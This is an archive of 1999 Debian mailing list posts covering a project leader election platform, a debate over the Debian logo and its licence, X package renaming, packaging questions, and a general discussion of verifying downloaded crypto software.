My platform for Project Leader elections
I'm cross-posting this more widely than is usual, because people have been waiting for it, and it's the only such statement I plan to make. Please send replies to debian-vote (or privately, of course). This platform is late, but I figure it's better late than never. I've given an explanation of my recent absence on debian-private. ROLE I've given a lot of thought to this. What is the role of the project leader, and how should I fill it if I am elected? A lot of the obvious answers didn't fit. There are many things I would do as project leader, but most of them I would do anyway. Nothing stops any developer from promoting various favourite projects, or from doing just about anything else that a project leader might do. I think the difference is precisely that the project leader is appointed to speak for the project. The primary task of the project leader is to be the voice of the project. Internally, this means that the leader can say let's do it when a good idea seems to be stalled, or this is going very wrong when something is going very wrong. Stating such things openly will focus the attention of the project on an issue, and make it easier to accept changes. Externally, the leader gives the project a face. That way, people outside the project can interact with a single person, rather than facing a multitude of voices :-) The leader can make commitments on behalf on the project (though not binding ones), and can do the work of gathering a single, clear statement of opinion. I think that what happened with the KDE statement was a good example of this. I don't think PR is the leader's job, as such. Any developer can do it, and we currently have some developers who are doing a very good job of it. Matters of public relations probably need official approval more often than others, though, and the leader should be aware of that. PLANS I have no specific plans. I don't see the project as something that can be steered or directed. It's more like the Juggernaut: big, strong, slow to get started, and very hard to stop once it gets going. It can be aimed a bit, though, by clearing a path in the appropriate direction. And it can be accelerated by removing obstacles and stumbling blocks. I think the appropriate direction is what it has always been: to create a high-quality operating system that is entirely free. That is the key to all other goals, and we must not lose sight of it. SANITY Why would anyone want to be debian project leader? Historical evidence shows that it's a thankless job :-) For me it's the same masochistic tendency that attracts me to archive maintenance. I have an emotional stake in the success of the project, and it feels good to have a hand in that success. I'm just naturally attracted to meta-jobs like this. TIME I don't think that making time for it will be a problem. Staying in touch with the project will be the most time-consuming part of being project leader, and I do that already because I enjoy watching the project's activity. Even when I'm so pressed for time that I do nothing else, I still read the main mailing lists. QUALIFICATIONS I hope that most of you already know me from my activities within the project. That's a much better guideline than anything I could tell you :-) I'll still say something, though, because there are a lot of new developers, and because this is my chance to brag. Almost since I signed up as developer, I've been interested in project-wide activities, particularly ones that help focus the project on urgent tasks. I've made and promoted various task lists. You may remember the libc5 packages and package overlaps lists. I also made the Hamm Bugs Stamp-Out List, which Wichert took over when I went on vacation. He's done an excellent job with it since. Last spring, Christian Schwarz and I collaborated to make Lintian (the ultimate list-maker :-). I think Lintian has a good chance to help the project climb another rung on the ladder of development process quality. I've also done much of the day-to-day archive maintenance in the past six months (except for this month). This has gradually eaten up all my Debian time, and I hope to make some structural improvements there. I do have prior experience with leading a volunteer project, IgorMUD, that is similar to Debian is size though not in scope. I didn't do that alone; I played various roles in a team of 6-12 people. People were sad when I resigned, that tells me something :) I left after six years, when I was lured away by the Debian Project. CONCLUSION Overall, I expect I will be a project leader who listens a lot and says little. I hope to speak up at just the right times. Richard Braakman
Debian logo its license
For the Nth time our logo license has expired. It might be a good idea to finally finalize the license instead of just extending its lifetime every couple of months. There has also been mention of people wanting a different logo. I think we should stick to our current logo for several reasons though: * it is a good logo: it's easily recognizable, simple to draw, scales good and looks good in both blackwhite and in colour. * choosing a new logo will take a long time: we would have to get submissions, vote on them all over again, etc. * I actually like the thing :) I propose that we vote on accepting both the logo and the current license. Wichert. -- == This combination of bytes forms a message written to you by Wichert Akkerman. E-Mail: [EMAIL PROTECTED] WWW: http://www.wi.leidenuniv.nl/~wichert/ pgpK8rOeLo9gd.pgp Description: PGP signature
Re: Debian logo its license
Hi, On Sun, Jan 24, 1999 at 12:52:12AM +0100, Wichert Akkerman wrote: There has also been mention of people wanting a different logo. I think we should stick to our current logo for several reasons though: * it is a good logo: it's easily recognizable, simple to draw, scales good and looks good in both blackwhite and in colour. I agree it is a good logo in the sense that it fulfills all technical requirements for a logo. But IMHO it is a bad logo for the following reasons: * It is a penguin (even if some think it's a chicken). A penguin is already the Linux logo, are we only capable of plagiarism, or are we up to the task and have an identity of our own? * A penguin is submitting the wrong message in some other way, too: The Debian GNU/Hurd port is coming along quite nicely, and although it uses some linux driver code, it is quite different from Linux in several aspects. Debian is the distribution with most ports, and even non-Linux ports, too, now. Do we really want to restrict ourselves and our image to Linux for an uncertain period of time? * The logo was imposed on the developers. We now have a formalilzation of decision making, the constitution. It should be applied to this (partly) political decision. * Let's show some *taste* :) * choosing a new logo will take a long time: we would have to get submissions, vote on them all over again, etc. First, I don't think it would take too long. Secondly, do we really want to rush this important issue? About getting submissions: I think a Gimp contest would be appropriate, this would lead to better contributions. Christians Logo pages failed because there was hardly any Logo among the entries. The people contributing to a Gimp contest know about good design and requirements for a logo. Check the Gnome logo, it was the winner of a Gimp contest, too. I don't understand all over again. We have never voted on a logo. * I actually like the thing :) Oh. I propose that we vote on accepting both the logo and the current license. Why intermix these two issues? Choosing a license and choosing a logo are completely different pair of shoes. They can be voted on seperately. Thanks, Marcus -- Rhubarb is no Egyptian god.Debian GNU/Linuxfinger brinkmd@ Marcus Brinkmann http://www.debian.orgmaster.debian.org [EMAIL PROTECTED]for public PGP Key http://homepage.ruhr-uni-bochum.de/Marcus.Brinkmann/ PGP Key ID 36E7CD09
Re: Debian logo its license
Wichert Akkerman wrote: I propose that we vote on accepting both the logo and the current license. I very much dislike the current license. I'm a debian developer, I'd like to put the debian logo on my home page, but I do *not* necessarily want to devote half or more of my home page to debian. I'd rather have pointers to the debian web site, and let debian speak for itself. Current (expired) license forbids this. I've previously raised issues about using the logo inside of packages too -- this one may be addressed by the current license, but it's certainly not clear. The logo should be a logo, it should be used to refer to or to advertise debian. It should *mean* debian. The current license isn't even *close* to filling this goal, imo. I asked on IRC about the logo license, and was basically told, nobody cares, if we ignore the problem it will go away. A deplorable attitude, IMO, license issues are at the core of what debian is all about. The thread on -legal ends with a comment that we should take this up after revising the dfsg. I disagree *strongly*. We have free software guidelines -- some of us even feel that the ones we have are much better than any of the proposals so far. We *don't* have a reasonable license for the logo. It may not be quite as critical, but I feel it's more urgent at the moment. Debian is a free project to distribute a free OS. It should have a free logo. FREE THE LOGO!! FREE THE LOGO!! :-) cheers -- Chris Waters [EMAIL PROTECTED] | I have a truly elegant proof of the or[EMAIL PROTECTED] | above, but it is too long to fit into http://www.dsp.net/xtifr | this .signature file.
RE: Debian logo its license
-BEGIN PGP SIGNED MESSAGE- On 23-Jan-99 Wichert Akkerman wrote: I propose that we vote on accepting both the logo and the current license. The current license? Are you sure? It needs to be rewritten if for no other reason but to remove the expiration date. = * http://benham.net/index.html * * * -BEGIN GEEK CODE BLOCK- ---* *Darren Benham * Version: 3.1 * * [EMAIL PROTECTED] * GCS d+(-) s:+ a29 C++$ UL++ P+++$ L++* * KC7YAQ * E? W+++$ N+(-) o? K- w+++$(--) O M-- V- PS-- * * Debian Developer * PE++ Y++ PGP++ t+ 5 X R+ !tv b DI+++ D++ * * [EMAIL PROTECTED] * G++G+++ e h+ r* y+* * * --END GEEK CODE BLOCK-- ---* = -BEGIN PGP SIGNATURE- Version: 2.6.3a Charset: noconv iQCVAwUBNqp8C7bps1lIfUYBAQE92gQArR9qDHk+Fy/9PUPLak5/WtqDKYg2iK+s IAHj5y7qDzqQO8NdT1pKJcGcEH5xCwcR9LLmofO7a9SOzKR2WWgyikcIUzs5cTye A0fcVE0KFe48xBWwfkwG989vsx/sfTA3853TvPBwmtM3Psh+x8XTSvfJZg8fOz6J Rx44B1xdp2A= =CDpd -END PGP SIGNATURE-
Re: the Great X Reorganization, package splits, and renaming
On Sat, Jan 23, 1999 at 10:11:48PM +, Jules Bean wrote: I don't think Branden realised that the conf/repl/prov trick will automatically deinstall the xfnt packages. My understanding of his objection was the ugliness of having them hang around. I'm far, far more willing to play games with the control file than create 9 bogus packages. I remain open to suggestions (other than Santiago's favorite -- and even that I will consider, but only if it emerges as the victor among a set of alternatives). In the meantime, please explain this to me. C/R/P will automatically deinstall the old xfnt packages, WITHOUT installing their replacements? Is that true of the old static libs? Why? Nothing conflicts with the old ones except the new ones. If you don't select the new ones for installation, I don't understand why dpkg should see a need to kick the old ones out. What would happen if I removed the Provides: but left the other two? How about the Conflicts:? -- G. Branden Robinson |Psychology is really biology. Debian GNU/Linux |Biology is really chemistry. [EMAIL PROTECTED] |Chemistry is really physics. cartoon.ecn.purdue.edu/~branden/ |Physics is really math. pgpwG62zzI7HN.pgp Description: PGP signature
Re: Crypto software that *is* exportable from the USA
Bear Giles [EMAIL PROTECTED] wrote: But you're biting your own tail here. Where do you get that good checksum? Any place which is acceptable to the package maintainer -- perhaps out of a pgp signed archive. Remember, the start of this discussion was an (FTP) mirroring program that got around encryption export laws by importing software from a site in South Africa. The problem isn't in *producing* a package, it's in *acquiring* that package later. What happens if someone successfully attacks a site immediately before you mirror it? MD5 checksums aren't adequate, since the attacker can forge new ones. Cryptographically signed checksums don't help, since the software (at time of export) can't include the software to verify them. Downloading PGP from the ZA site won't help because you can't verify *its* checksum. Even if you hardcode in the signature for a known good copy of PGP, download and verify it, then use it to download and verify the latest version, *how do you know your original package was valid*?! Maybe the copy you downloaded actually downloads from blackhat.com.za. Bootstrapping is hard -- best you can do for the general case is compare notes after you've gotten a secure system up. And that, it seems, is exactly the problem that this program seeks to fix. Bear Giles [EMAIL PROTECTED]
Re: Crypto software that *is* exportable from the USA
Bear Giles [EMAIL PROTECTED] wrote: The problem isn't in *producing* a package, it's in *acquiring* that package later. What happens if someone successfully attacks a site immediately before you mirror it? What happens if someone replaces a PGP signature? Answer: people notice. [Consider an advanced attack, launched from a router which changes certain packets in-flight so that some files, when downloaded, are different from what's on the server, for some range of client ip addresses. I don't know if script kiddies have a toy that does this yet, but it'll happen eventually.] MD5 checksums aren't adequate, since the attacker can forge new ones. Cryptographically signed checksums don't help, since the software (at time of export) can't include the software to verify them. Downloading PGP from the ZA site won't help because you can't verify *its* checksum. If you can trust the debian packages, you can trust an md5sum contained in one of those packages. Perhaps a distributed auditing system (like what was used for the RSA challenge, but instead periodically downloading files and verifying md5sums) would be a good thing -- to set off alarms after a site has been cracked. [If no alarms go off for some period of time after you've downloaded a fresh copy of the system, you can be reasonably confident that you got a good copy and that the signatures you have are probably the correct ones.] Perhaps useful would be independent signature clearinghouses which let you check md5sums without talking to the site you got your packages from. [The more paranoid might want to check against a large number of sites, and might want an auditing system to be in place as well.] Bootstrapping is hard -- best you can do for the general case is compare notes after you've gotten a secure system up. And that, it seems, is exactly the problem that this program seeks to fix. Obviously it can't fix the problem for the past. However, it might help in the future... [Perhaps more important: security oriented technology can only be a part of a secure system.] -- Raul
Re: Debian logo its license
Previously Darren Benham wrote: The current license? Are you sure? It needs to be rewritten if for no other reason but to remove the expiration date. Okay, so I should have read the license before posting that :). Should we change anything besides removing the expiration date? So far nobody has commented on that. Wichert. -- == This combination of bytes forms a message written to you by Wichert Akkerman. E-Mail: [EMAIL PROTECTED] WWW: http://www.wi.leidenuniv.nl/~wichert/ pgpehinuPGf1R.pgp Description: PGP signature
Re: the .app extension on (some) wmaker apps
On Sat, Jan 23, 1999 at 06:10:36PM -0500, [EMAIL PROTECTED] wrote: I'm trying to package wmsysmon.app -- but I'm not sure about the .app that *some* wmaker apps get -- I'm not sure if I should have the package as wmsysmon.app or just wmsysmon. The tarball is wmsysmon.app, but the binary that gets built is wmsysmon. I built an (undocumented) manpage for wmsysmon.app -- but lintian gives me a binary with no manpage since the binary doesn't have the .app -- hr Should I leave the package as .app, but have the binary/manpage as-is (wmsysmon)? -- always thought the binary/manpages should match the package-name is all. Nope, the package name doesn't have anything to do with the binary name. Although you have to be reasonable, just because the upstream tarball is called wmsysmon.app doesn't mean the package has to be called that. The manpage should always be the same as the binary. If you binary is named wmsysmon then your manpage should be wmsysmon.1 not wmsysmon.app.1 -- Stephen Crowley [EMAIL PROTECTED], [EMAIL PROTECTED] -* Finger [EMAIL PROTECTED] for my public key. PGP#22714B25 *-
Re: Debian logo its license
On Sun, 24 Jan 1999, Wichert Akkerman wrote: I propose that we vote on accepting both the logo and the current license. I think this is a good idea. If this proposal needs to be seconded, consider this my seconded!. If it needs to be seconded somewhere else (debian-vote?) i'll do so there :) -ed
Re: Debian logo its license
On Sat, Jan 23, 1999 at 04:21:37PM -0800, Chris Waters wrote: Debian is a free project to distribute a free OS. It should have a free logo. FREE THE LOGO!! FREE THE LOGO!! :-) And what if some anti-debian people get ahold of the logo and use it for evil purposes? -- Stephen Crowley [EMAIL PROTECTED], [EMAIL PROTECTED] -* Finger [EMAIL PROTECTED] for my public key. PGP#22714B25 *-
Re: Debian logo its license
On Sat, 23 Jan 1999, Chris Waters wrote: Wichert Akkerman wrote: I propose that we vote on accepting both the logo and the current license. I very much dislike the current license. I'm a debian developer, I'd like to put the debian logo on my home page, but I do *not* necessarily want to devote half or more of my home page to debian. I'd rather have pointers to the debian web site, and let debian speak for itself. Current (expired) license forbids this. I've previously raised issues about using the logo inside of packages too -- this one may be addressed by the current license, but it's certainly not clear. The logo should be a logo, it should be used to refer to or to advertise debian. It should *mean* debian. The current license isn't even *close* to filling this goal, imo. [snip] Debian is a free project to distribute a free OS. It should have a free logo. FREE THE LOGO!! FREE THE LOGO!! :-) well then, that's all the more reason to have a vote, imho. i personally dislike the logo and agree with you about the license. since there are enough people raising concerns about the logo, i think a vote is warranted. what do you think? -ed
RE: Debian logo its license
On Sat, 23 Jan 1999, Darren Benham wrote: On 23-Jan-99 Wichert Akkerman wrote: I propose that we vote on accepting both the logo and the current license. The current license? Are you sure? It needs to be rewritten if for no other reason but to remove the expiration date. Note that the proposal is to vote *on* the license logo, not necessarily *for* it. -ed
Re: Debian logo its license
Previously Chris Waters wrote: Debian is a free project to distribute a free OS. It should have a free logo. FREE THE LOGO!! FREE THE LOGO!! :-) Agreed. Shall we move the logo license discussion to debian-legal and rewrite it there? Wichert. -- == This combination of bytes forms a message written to you by Wichert Akkerman. E-Mail: [EMAIL PROTECTED] WWW: http://www.wi.leidenuniv.nl/~wichert/ pgpQ5YEMrbHaR.pgp Description: PGP signature
Re: Debian logo its license
Previously Marcus Brinkmann wrote: * It is a penguin (even if some think it's a chicken). A penguin is already the Linux logo, are we only capable of plagiarism, or are we up to the task and have an identity of our own? Heh, nobody seems to be able to spot that :) * A penguin is submitting the wrong message in some other way, too: The Debian GNU/Hurd port is coming along quite nicely, and although it uses some linux driver code, it is quite different from Linux in several aspects. Debian is the distribution with most ports, and even non-Linux ports, too, now. Do we really want to restrict ourselves and our image to Linux for an uncertain period of time? No, but since almost nobody seems to see the current logo is actually a penguin I didn't really worry about that. It even seemed somewhat appriopriate in that a Debian did begin as a Linux-only distribution. There is no shame in showing your roots imho. * The logo was imposed on the developers. We now have a formalilzation of decision making, the constitution. It should be applied to this (partly) political decision. That's true. It's also true that most favourite `logos' were not good logos. Logo criteria are really important. * Let's show some *taste* :) Heh, that always makes for interesting discussions. I'm quite sure you wouldn't like my taste in music, but I'm really happy with it :) First, I don't think it would take too long. Secondly, do we really want to rush this important issue? Letting hundreds of developers choose one logo in a multitude of submissions sounds like a time-consuming process. We would probably need a scheme to elimiate logo's, then revote, eliminate more, etc. to do it fairly. About getting submissions: I think a Gimp contest would be appropriate, this would lead to better contributions. Iff we decide that we want a new logo, then I agree that would be the best approach. It would also demonstrate how open we are. Christians Logo pages failed because there was hardly any Logo among the entries. Very true. I don't understand all over again. We have never voted on a logo. We did in the sense that people could choose their favourite logo on Christians page. Why intermix these two issues? Choosing a license and choosing a logo are completely different pair of shoes. They can be voted on seperately. Geez, it seems you have issues with everything I said. Looks like I succeeded in starting a discussion again though :). I mixed them because they are closely related: you can't have one without the other.1 Wichert. -- == This combination of bytes forms a message written to you by Wichert Akkerman. E-Mail: [EMAIL PROTECTED] WWW: http://www.wi.leidenuniv.nl/~wichert/ pgpNMM8mjsr92.pgp Description: PGP signature
Re: Debian logo its license
-BEGIN PGP SIGNED MESSAGE- On 24-Jan-99 Wichert Akkerman wrote: Previously Darren Benham wrote: The current license? Are you sure? It needs to be rewritten if for no other reason but to remove the expiration date. Okay, so I should have read the license before posting that :). Should we change anything besides removing the expiration date? So far nobody has commented on that. Wichert. Probably... I don't have time to outline my ideas. I'll get to it later tonight after I get back = * http://benham.net/index.html * * * -BEGIN GEEK CODE BLOCK- ---* *Darren Benham * Version: 3.1 * * [EMAIL PROTECTED] * GCS d+(-) s:+ a29 C++$ UL++ P+++$ L++* * KC7YAQ * E? W+++$ N+(-) o? K- w+++$(--) O M-- V- PS-- * * Debian Developer * PE++ Y++ PGP++ t+ 5 X R+ !tv b DI+++ D++ * * [EMAIL PROTECTED] * G++G+++ e h+ r* y+* * * --END GEEK CODE BLOCK-- ---* = -BEGIN PGP SIGNATURE- Version: 2.6.3a Charset: noconv iQCVAwUBNqqPqbbps1lIfUYBAQH+lgP+J1cUfSksGMsmfvWVFfbutRl9Sv+fJdYE mzj6qf1ZaJa8o/y1F8zAq+4w9P72GNeHtEORlPI3Ywcd1kChPh/bfnXkJVCYMNxk FerHnnz1t4TazQNmAeebw2bDZ+7/FXgJxowKQJFTGVqqsu2qNifMffG8Xr5vC/2q /ZUIRsIiDfw= =aWyg -END PGP SIGNATURE-
Anybody packaging doxygen ?
Hi, (B (BIs anybody packaging doxygen ? (B (Bhttp://www.stack.nl/~dimitri/doxygen/index.html (B (Bdoxygen was inspired by doc++ and is a documenting tool for C and C++ (B(and Java). Now it has around 4 times more options than doc++. The (Bauthor is working also on implementing the creation of some class graph (Bdependencies similar to what doc++ produces. This will be done via (Bsensitive gifs. I also try to convince him to include the ability to (Bgenerate equations that can be included in html, a feature present in (Bdoc++. The latex generated by doxygen is much more elegant and useful (Bthan that of doc++. The html generated is very similar to that provided (Bby troll for Qt. doxygen uses Qt and is released under GPL. (B (BTIA, (B (BIonutz
check if X is running?
Can anyone suggest a good way to tell if the user is running a program from X? A program I maintain can run in terminal or graphical mode. It currently checks if graphics are available by comparing $TERM to a string included at compile time. That's xterm by default, which doesn't work on Debian because of xterm-debian, and doesn't work in rxvt either. I'd like to remove that check and make it a better one. Is checking for $DISPLAY sufficient? Hamish -- Hamish Moffatt VK3TYD [EMAIL PROTECTED], [EMAIL PROTECTED] Latest Debian packages at ftp://ftp.rising.com.au/pub/hamish. PGP#EFA6B9D5 CCs of replies from mailing lists are welcome. http://hamish.home.ml.org
Re: the Great X Reorganization, package splits, and renaming
On 23-Jan-99, 18:57 (CST), Branden Robinson [EMAIL PROTECTED] wrote: In the meantime, please explain this to me. C/R/P will automatically deinstall the old xfnt packages, WITHOUT installing their replacements? Is that true of the old static libs? No. I think one of us (quite possibly me!) is confused. My understanding was as follows: People were discussing the transition from the old layout to new, and about upgrading. In particular, the fact that some packages had been renamed, in particular xfnt-* - xfonts-* seemed to make some people think that it was necessary for the new packages to manually (in the postinstall or some such) remove the old packages. I was pointing out that if xfonts-xxx replaced and conflicted with xfnt-xxx, then installing xfonts-xxx would cause xfnt-xxx to be removed. This is the standard, documented behaviour of dpkg. Branden probably knows this, because the xfonts-* packages do R/C (as well as provide) the respective xfnt-* package. It appears that Jules Bean thought that you didn't know this, and that this issue was your objection to providing dummy xfnt packages. Why? Nothing conflicts with the old ones except the new ones. If you don't select the new ones for installation, I don't understand why dpkg should see a need to kick the old ones out. Exactly. It wouldn't. What would happen if I removed the Provides: but left the other two? How about the Conflicts:? If you remove the Provides:, then dselect/dpkg will complain if anything else depends upon xfnt-*. If you remove the Conflicts, then any file that xfonts-xxx shares with xfnt-xxx will be assumed by xfonts-xxx. Any files in xfnt-xxx that is not in xfonts-xxx will continue to be owned by xfnt-xxx. When xfnt-xxx's file count drops to 0, it will be removed. In other words, Replaces: without Conflicts: is a way to transfer one or more files from one package to another. Brandon, W.R.T. the dummy xfnt-* packages, do you object to their creation, or just to you having to do the work (which I totally understand and agree with)? Just so we're clear, if they did exist, here is the effect that the user would see in dselect: 1. Any of the xfnt-* packages that the user had installed would be shown in the newer version available section. 2. Assuming the user does nothing mess with those, they would eventually be shown a Conflict Resolution screen that would show the new xfont-* packages selected and the xfnt-* packages deselected. User should just hit return to accept the change. This should be fairly obvious, because the explanation for the xfonts-* packages would be Replaces xfnt-*. 3. When the install time comes, the xfnt-* packages are removed and the xfonts-* packages would be installed. I've put a little thought into this (not a whole lot), and I don't see any really clean way to do this in a single package's control file. The only other approach that I can think would work would be for one packages postinst to use dpkg --status to figure out which xfnt's were installed, and then kludge together the appropriate file to feed dpkg --set-selection to select the corresponding xfont's, and then tell the user to run dselect Install again. Steve
Re: check if X is running?
I think another way to do it is to build two seperate binaries. For example, create xprog and prog, one that is X-only, and another that is console-only. This allows the user to specifcally set which version they want, and it might also reduce the amount of code needed per program and speed it up a bit. Downside is, tho, you have to actually seperate the code for both programs, and keep them updated at the same time (or just share .c files... however you please.). Anyway. As far as detection, I dunno, but hope this helps. Do Svidonia, Martin Held [EMAIL PROTECTED] --- The way to love anything is to realize that it might be lost. On Sun, 24 Jan 1999, Hamish Moffatt wrote: Can anyone suggest a good way to tell if the user is running a program from X? A program I maintain can run in terminal or graphical mode. It currently checks if graphics are available by comparing $TERM to a string included at compile time. That's xterm by default, which doesn't work on Debian because of xterm-debian, and doesn't work in rxvt either. I'd like to remove that check and make it a better one. Is checking for $DISPLAY sufficient?
Re: Debian logo its license
Hi, On Sun, Jan 24, 1999 at 02:54:14AM +0100, Wichert Akkerman wrote: Previously Marcus Brinkmann wrote: * It is a penguin (even if some think it's a chicken). A penguin is already the Linux logo, are we only capable of plagiarism, or are we up to the task and have an identity of our own? Heh, nobody seems to be able to spot that :) Despite your funny comment I think this is a very serious concern. Debian is independent enough from both GNU, and Linux, that the Logo should not refer to either of these animals. We have our own message, too. We are constructors. We take the work of thousands of people and put them together. Shouldn't this be reflected by the logo, too? * A penguin is submitting the wrong message in some other way, too: The Debian GNU/Hurd port is coming along quite nicely, and although it uses some linux driver code, it is quite different from Linux in several aspects. Debian is the distribution with most ports, and even non-Linux ports, too, now. Do we really want to restrict ourselves and our image to Linux for an uncertain period of time? No, but since almost nobody seems to see the current logo is actually a penguin I didn't really worry about that. It even seemed somewhat appriopriate in that a Debian did begin as a Linux-only distribution. There is no shame in showing your roots imho. Certainly there isn't. But isn't GNU our real root? Think about it, and then let's drop this idea about GNU, Linux or GNU/Linux. It is not appropriate. To avoid confusion, something independent would be favourable. This is also to make Debian a community. We need something to identify each other, to seperate us from the whole Linux movement, as a distinct entity _inside_ it. This is not an unfriendly seperation, don't get me wrong. Just something that shows: here starts and ends Debian, the best free operating system. If someone identifies it as a chicken or not is irrelevant. In the context, everyone will admit that it is meant to be a penguin. * The logo was imposed on the developers. We now have a formalilzation of decision making, the constitution. It should be applied to this (partly) political decision. That's true. It's also true that most favourite `logos' were not good logos. Logo criteria are really important. Yes. This is why I am not sure that voting is the right way to choose a logo. Probably a group of elected persons should make the decision, and only the decision gets ratified. Probably this group should elect a couple (two or three) and the vote should be among them. * Let's show some *taste* :) Heh, that always makes for interesting discussions. I'm quite sure you wouldn't like my taste in music, but I'm really happy with it :) Hehe. But still: The logo could be improved. This is certainly a personal opinion only, but ask yourself what image the Logo will put on Debian. Will CD vendors use the logo on the Debian CD? Is it professional enough? If nobody uses the logo because it is ugly, then we can choose whatever logo we want. It will be pretty useless, though. Note that we can't do much marketing on our own, so we can't promote our logo=image ourselve. We have to rely on third party vendors. Because we make free software, we can't enforce our logo. If we choose a good logo, though, people will like to see it, and vendors will use it. Until yet, I still have to see a CD/magazine whatever which uses Chicken Blue Eye. First, I don't think it would take too long. Secondly, do we really want to rush this important issue? Letting hundreds of developers choose one logo in a multitude of submissions sounds like a time-consuming process. We would probably need a scheme to elimiate logo's, then revote, eliminate more, etc. to do it fairly. I think this is the wrong approach. See above for an alternate proposal. We could vote that a small group of interested people investigate the entries and pick some winners. Among the small elected number, the rest of the developers could vote on. About getting submissions: I think a Gimp contest would be appropriate, this would lead to better contributions. Iff we decide that we want a new logo, then I agree that would be the best approach. It would also demonstrate how open we are. Ok. I don't understand all over again. We have never voted on a logo. We did in the sense that people could choose their favourite logo on Christians page. Don't remember of THAT! We have seen what came out of this. Nice CD covers, no logos. It was the wrong approach, and we should learn from the past. We should reckognize that we may not be good artists and designers after all, and leave this to the talented people. Why intermix these two issues? Choosing a license and choosing a logo are completely different pair of shoes. They can be voted on seperately. Geez, it seems you have issues with everything I said. Looks like I succeeded in starting a discussion
Re: check if X is running?
On Sun, Jan 24, 1999 at 02:30:56AM +, Martin Held wrote: I think another way to do it is to build two seperate binaries. For example, create xprog and prog, one that is X-only, and another that is console-only. This allows the user to specifcally set which version they want, and it might also reduce the amount of code needed per program and speed it up a bit. Downside is, tho, you have to actually seperate the code for both programs, and keep them updated at the same time (or just share .c files... however you please.). Anyway. As far as detection, I dunno, but hope this helps. That's an idea. The same binary does text and graphics just fine; it's mostly text oriented but can display some graphics too. However, since it's linked against X, the package depends on the X libraries. Even with the X version installed, it runs fine in text mode, so I still need the check for X11 :-) thanks, Hamish -- Hamish Moffatt VK3TYD [EMAIL PROTECTED], [EMAIL PROTECTED] Latest Debian packages at ftp://ftp.rising.com.au/pub/hamish. PGP#EFA6B9D5 CCs of replies from mailing lists are welcome. http://hamish.home.ml.org
Re: check if X is running?
Hmm. This sounds a lot like the Matlab Engineering tool I just learned how to use last Term. It's mainly console based, but can display graphs and plots and the like. If the user doesn't have the DISPLAY variable set right, it just tries to send the graphics off to a null server and doens't even give an error message. If your program doesn't require X11 to run (as in, there are some things in there that never require X), you could consider letting the user run the program even if $DISPLAY isn't set, and maybe give a warning that it hasn't, or something like that. Do Svidonia, Martin Held [EMAIL PROTECTED] --- The way to love anything is to realize that it might be lost. On Sun, 24 Jan 1999, Hamish Moffatt wrote: That's an idea. The same binary does text and graphics just fine; it's mostly text oriented but can display some graphics too. However, since it's linked against X, the package depends on the X libraries. Even with the X version installed, it runs fine in text mode, so I still need the check for X11 :-)
Re: check if X is running?
I think another way to do it is to build two seperate binaries. For
example, create xprog and prog, one that is X-only, and another that is
console-only. This allows the user to specifcally set which version they
want, and it might also reduce the amount of code needed per program and
speed it up a bit. Downside is, tho, you have to actually seperate the
code for both programs, and keep them updated at the same time (or just
share .c files... however you please.). Anyway. As far as detection, I
dunno, but hope this helps.
As far as detection is concerned, this is a bit tricky point. The main problem
is what you really want to check? I can imagine the situation when i logged to
remote machine over slow line and have $DISPLAY set properly, but I don't want
to use X version of the program - it would be too slow.
In any case, to check whether X is at all available:
#includeX11/Xlib.h
Display* td=XOpenDisplay(NULL);
if(td==NULL){
/* NO X AVAILABLE */
} else {
XCloseDisplay(td);
/* HAVE X */
}
This is not bullet-proof though since DISPLAY may be specified in the
options - then it is better use that DISPLAY string instead of NULL
(as an argument to XOpenDisplay, otherwile it would only pick DISPLAY
from environment). On the other hand, if user specifies DISPLAY in the
options, s/he definitely wants X version and the program should just go X way
and fail if not possible.
Alex Y.
--
_
_( )_
( (o___ +---+
| _ 7 |Alexander Yukhimets|
\()| http://pages.nyu.edu/~aqy6633/ |
/ \ \ +---+
Re: check if X is running?
On Sun, Jan 24, 1999 at 02:43:49AM +, Martin Held wrote: Hmm. This sounds a lot like the Matlab Engineering tool I just learned how to use last Term. It's mainly console based, but can display graphs and plots and the like. If the user doesn't have the DISPLAY variable set right, it just tries to send the graphics off to a null server and doens't even give an error message. If your program doesn't require X11 to run (as in, there are some things in there that never require X), you could consider letting the user run the program even if $DISPLAY isn't set, and maybe give a warning that it hasn't, or something like that. Sounds very similar. This package is SatTrack, a sattelite tracking program. It displays a screen full of tracking parameters, but can give an optional graphical display of the earth and the sattellite's current position. thanks for your input. Hamish -- Hamish Moffatt VK3TYD [EMAIL PROTECTED], [EMAIL PROTECTED] Latest Debian packages at ftp://ftp.rising.com.au/pub/hamish. PGP#EFA6B9D5 CCs of replies from mailing lists are welcome. http://hamish.home.ml.org
problem with linker
Hi, (B (BCan please somebody decript this message for me ? (B (B/usr/bin/ld: cannot open linker script file libgcc.map: No such file or (Bdirectory (Bcollect2: ld returned 1 exit status (Bmake[1]: *** [../lib/libvdk.so.0.5.1] Error 1 (B (BAny ideas ? (B (BTIA, (B (BIonutz
Re: the Great X Reorganization, package splits, and renaming
On Sat, Jan 23, 1999 at 08:32:32PM -0600, Steve Greenland wrote: People were discussing the transition from the old layout to new, and about upgrading. In particular, the fact that some packages had been renamed, in particular xfnt-* - xfonts-* seemed to make some people think that it was necessary for the new packages to manually (in the postinstall or some such) remove the old packages. I was pointing out that if xfonts-xxx replaced and conflicted with xfnt-xxx, then installing xfonts-xxx would cause xfnt-xxx to be removed. This is the standard, documented behaviour of dpkg. Branden probably knows this, because the xfonts-* packages do R/C (as well as provide) the respective xfnt-* package. Right. Packages that need xnftbase, for instance, will not break because xfonts-base is installed. They don't care about the packaging system, they just want files like /usr/X11R6/lib/X11/fonts/misc/clR8x14.pcf.gz around, and both the old and new packages do this equally well. If you remove the Provides:, then dselect/dpkg will complain if anything else depends upon xfnt-*. Right. If you remove the Conflicts, then any file that xfonts-xxx shares with xfnt-xxx will be assumed by xfonts-xxx. Any files in xfnt-xxx that is not in xfonts-xxx will continue to be owned by xfnt-xxx. When xfnt-xxx's file count drops to 0, it will be removed. In other words, Replaces: without Conflicts: is a way to transfer one or more files from one package to another. Right. Okay, good. My understanding of dpkg has not been incorrect, then. Brandon, W.R.T. the dummy xfnt-* packages, do you object to their creation, or just to you having to do the work (which I totally understand and agree with)? I object to their creation. The work is trivial. Implementing the xbase fake package took only a few minutes, which was mainly spent updating all references to xbase to xfree86-common instead. xfnt* fake packages, as far as I can tell, would require ONLY editing of the control file. I object because I think to have them around is ugly. 1. Any of the xfnt-* packages that the user had installed would be shown in the newer version available section. Okay. 2. Assuming the user does nothing mess with those, they would eventually be shown a Conflict Resolution screen that would show the new xfont-* packages selected and the xfnt-* packages deselected. User should just hit return to accept the change. This should be fairly obvious, because the explanation for the xfonts-* packages would be Replaces xfnt-*. Won't this happen anyway? This is the bone of contention. Whether 